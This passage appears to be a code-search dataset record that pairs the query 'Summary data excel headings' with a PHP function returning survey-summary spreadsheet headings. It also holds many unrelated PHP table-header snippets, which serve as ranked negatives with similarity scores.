$this->t('Title');\n\n $header['key'] = [\n 'data' => $this->t('Key'),\n 'class' => [RESPONSIVE_PRIORITY_LOW],\n ];\n $header['type'] = [\n 'data' => $this->t('Type'),\n 'class' => [RESPONSIVE_PRIORITY_LOW],\n ];\n $header['correct_answer'] = $this->t('Answer');\n $header['weight'] = $this->t('Weight');\n $header['operations'] = $this->t('Operations');\n// $header['answer'] = [\n// 'data' => $this->t('Answer'),\n// 'class' => [RESPONSIVE_PRIORITY_LOW],\n// ];\n//\n// $header['required'] = [\n// 'data' => $this->t('Required'),\n// 'class' => ['webform-ui-element-required', RESPONSIVE_PRIORITY_LOW],\n// ];\n// $header['parent'] = $this->t('Parent');\n// $header['operations'] = [\n// 'data' => $this->t('Operations'),\n// 'class' => ['webform-ui-element-operations'],\n// ];\n return $header;\n }", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "protected function renderHeaderCellContent()\n\t{\n\t\t$name = $this->name;\n\t\tif (substr_compare($name, '[]', -2, 2) === 0) {\n\t\t\t$name = substr($name, 0, -2);\n\t\t}\n\t\tif (substr_compare($name, ']', -1, 1) === 0) {\n\t\t\t$name = substr($name, 0, -1) . '_all]';\n\t\t} else {\n\t\t\t$name .= '_all';\n\t\t}\n\n\t\t$id = $this->grid->options['id'];\n\n$_allSelectJs = <<< JS\n\t$('.select-on-check-all').on('click', function(){\n\t\tvar rows = table.rows({ 'search': 'applied' }).nodes();\n\t\t$('input[type=\"checkbox\"]', rows).prop('checked', this.checked);\n\t});\n\n\t$('#$id tbody').on('change', 'input[type=\"checkbox\"]', function(){\n\t\tif(!this.checked){\n\t\t\tvar el = $('.select-on-check-all').get(0);\n\t\t\tif(el && el.checked && ('indeterminate' in el)){\n\t\t\t\tel.indeterminate = true;\n\t\t\t}\n\t\t}\n\t});\nJS;\n\n\t\t$this->grid->getView()->registerJs($_allSelectJs);\n\n\t\tif ($this->header !== null || !$this->multiple) {\n\t\t\treturn parent::renderHeaderCellContent();\n\t\t} else {\n\t\t\treturn Html::checkBox($name, false, ['class' => 'select-on-check-all']);\n\t\t}\n\t}", "function headings() {\r\n\t\t// and that they receive anchors so that they may be linked to from the table of contents.\r\n\t\t//ReTidy::force_headings();\r\n\t\tReTidy::heading_anchors();\r\n\t}", "public function getOutletData()\r\n\t{\r\n\t\t$data = array();\r\n\r\n\t\t$this->hr->get('/summary_status.html');\r\n\r\n\t\tif ($this->hr->result) {\r\n\t\t\t// <span class=\"outletOnState\">01</span>\r\n\t\t\tif (preg_match_all('/<span class=\"outlet(On|Off)State\">([0-9]+)<\\/span>/', $this->hr->result, $matches, PREG_SET_ORDER)) {\r\n\t\t\t\tforeach ($matches as $value) {\r\n\t\t\t\t\t$data[$value[2]] = ($value[1] == \"On\") ? true : false;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\treturn $data;\r\n\t}", "abstract public function states();", "private function makeCalendarHead()\n\t{\n\t\tif(strlen($this->headerStr) < 1) {\n\t\t\t$head = \"\\t<tr>\\n\\t\\t<th colspan=\\\"7\\\" class=\\\"headerString\\\">\";\n\t\t\tif(!is_null($this->curDay)) {\n\t\t\t\t$head .= $this->curDayName.' the '.$this->curDayS.' of '.$this->curMonthName.', '.$this->curYear;\n\t\t\t} else {\n\t\t\t\t$head .= $this->curMonthName.', '.$this->curYear;\n\t\t\t}\n\t\t\t$head .= \"</th>\\n\\t</tr>\\n\";\n\t\t} else {\n\t\t\t$head = $this->headerStr;\n\t\t}\n\t\t\n\t\t$this->calWeekDays .= $head;\n\t\t$this->outArray['head'] = $head;\n\t}", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "public function isFirstRowHeaders()\n\t{\n\t\treturn $this->firstRowHeaders;\n\t}" ]
[ "0.68529546", "0.669938", "0.6327048", "0.6277423", "0.6236176", "0.61840516", "0.608572", "0.607582", "0.6052694", "0.59227294", "0.5905465", "0.59021395", "0.58597887", "0.58441794", "0.58180636", "0.5757234", "0.57377017", "0.5704877", "0.5662613", "0.5647401", "0.5645872", "0.562665", "0.5608588", "0.56029904", "0.5579251", "0.55715203", "0.55652255", "0.55402327", "0.5517871", "0.54792625", "0.5477157", "0.54532945", "0.5447665", "0.5436242", "0.54333186", "0.5432358", "0.5421646", "0.5327232", "0.53166336", "0.53120804", "0.5255028", "0.5247668", "0.5235393", "0.5214476", "0.51913506", "0.5191108", "0.5186363", "0.51842076", "0.5182224", "0.51770294", "0.5154424", "0.5152869", "0.51432955", "0.51284415", "0.5117548", "0.5116043", "0.5103316", "0.51023996", "0.50861555", "0.50741", "0.50699586", "0.5057016", "0.50480086", "0.5047197", "0.50435096", "0.50385344", "0.5031739", "0.5021833", "0.5020962", "0.50203955", "0.5020216", "0.5018349", "0.5017317", "0.5011774", "0.50096273", "0.50018674", "0.4999699", "0.4999699", "0.49981183", "0.49931023", "0.49927863", "0.4983203", "0.49783602", "0.49744287", "0.49731442", "0.49663928", "0.49642518", "0.49605057", "0.49604", "0.49504152", "0.49503195", "0.49435446", "0.49344307", "0.4928525", "0.4906175", "0.49058175", "0.49049178", "0.49032688", "0.49012822", "0.4900681" ]
0.7966705
0
Summary data excel headings
public static function excelSummaryHeadings() { return [ 'Industry', 'Survey responses', 'Employer', 'Government body', 'Non-government organisation', 'Registered training organisation', 'Enterprise training provider', 'Group training organisation', 'Skills service organisation', 'Individual', 'Trade union', 'Industry Association/Peak body', 'Statutory authority', 'Self-employed', 'Not for profit', 'School or University', 'Other', 'Small', 'Medium', 'Large' ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public function summaryColumns();", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public function getSummaryData();", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return 